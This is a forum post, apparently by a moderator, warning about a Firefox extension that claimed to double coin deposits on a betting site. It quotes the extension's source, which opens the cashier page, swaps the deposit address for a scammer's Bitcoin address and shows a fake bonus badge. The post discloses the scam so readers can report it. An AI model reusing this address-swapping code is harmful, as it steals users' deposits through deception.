So, I found
this user (I nuked him already) who was trying
to make people download his extension that will (according to him) allow you to get a promotion code that will double your deposited coins. Obviously, it doesn't.
I've checked the extension's source code and it appears that once installed,
the extension will open a new tab in your browser, redirect you to Nitrogen's cashier page (where you deposit the funds), and then change's the deposit address to the scammer's:
browser.runtime.onInstalled.addListener(function() {
browser.tabs.create({
url: 'https://nitrogensports.eu/n/cashier',
active: true
});
return false;
});
document.getElementById("nav-address")
.innerHTML = '1EwvDZRco1SE5CdwH5rNS5K6i9WrsRhWQ9';
document.getElementById("cashier-balance-label")
.innerHTML = '<span id="support-notify-active" class="badge badge-roundless badge-success">100% Deposit Bonus - Awaiting deposit...</span><br>Current balance:<br></div>';
clearInterval(interval);
}, 1000);
I already reported the extension to Firefox so if you want to help, please do the same. It only takes a few seconds.
